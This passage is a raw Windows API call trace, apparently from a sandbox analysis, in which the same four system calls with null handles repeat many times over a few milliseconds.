hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.273] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.274] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.274] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.274] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.274] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.274] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.274] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.274] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.274] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.274] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.274] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.274] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.274] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.274] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.274] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.274] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.274] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.275] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.275] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.275] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.275] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.275] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.275] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.275] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.275] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.275] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.275] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.275] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.275] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.275] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.276] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.276] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.276] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.276] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.276] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.276] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.276] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.276] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.276] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.277] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.277] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.277] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.277] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.277] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.277] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.277] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.277] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.277] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.277] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.277] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.277] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.277] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.277] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.277] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.277] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.278] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.278] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.278] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.278] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.278] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.278] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.278] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.278] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.278] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.278] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.278] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.278] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.278] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.278] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.278] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.278] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.278] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.278] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.278] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.278] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.278] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.279] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.279] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.279] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.279] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.279] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.279] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.279] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.279] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.279] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.279] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.279] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.279] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.279] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.279] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.279] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.279] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.279] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.280] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.280] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.280] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.280] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.280] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.280] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.280] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.280] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.280] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.280] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.280] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.280] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.280] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.280] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.281] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.281] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.281] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.281] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.281] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.281] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.281] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.281] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.281] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.281] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.281] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.281] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.281] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.281] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.281] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.281] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.281] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.281] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.281] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.281] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.281] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.282] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.282] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.282] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.282] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.282] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.282] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.282] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.282] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.282] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.282] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.282] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.282] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.282] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.282] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.282] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.282] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.282] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.282] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.282] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.283] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.283] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.283] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.283] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.283] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.283] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.283] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.283] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.283] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.283] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.283] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.283] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.283] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.283] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.283] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.283] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.284] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.284] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.284] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.284] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.284] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.284] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.284] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.284] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.284] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.284] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.284] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.284] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.284] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.284] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.284] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.284] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.285] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.285] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 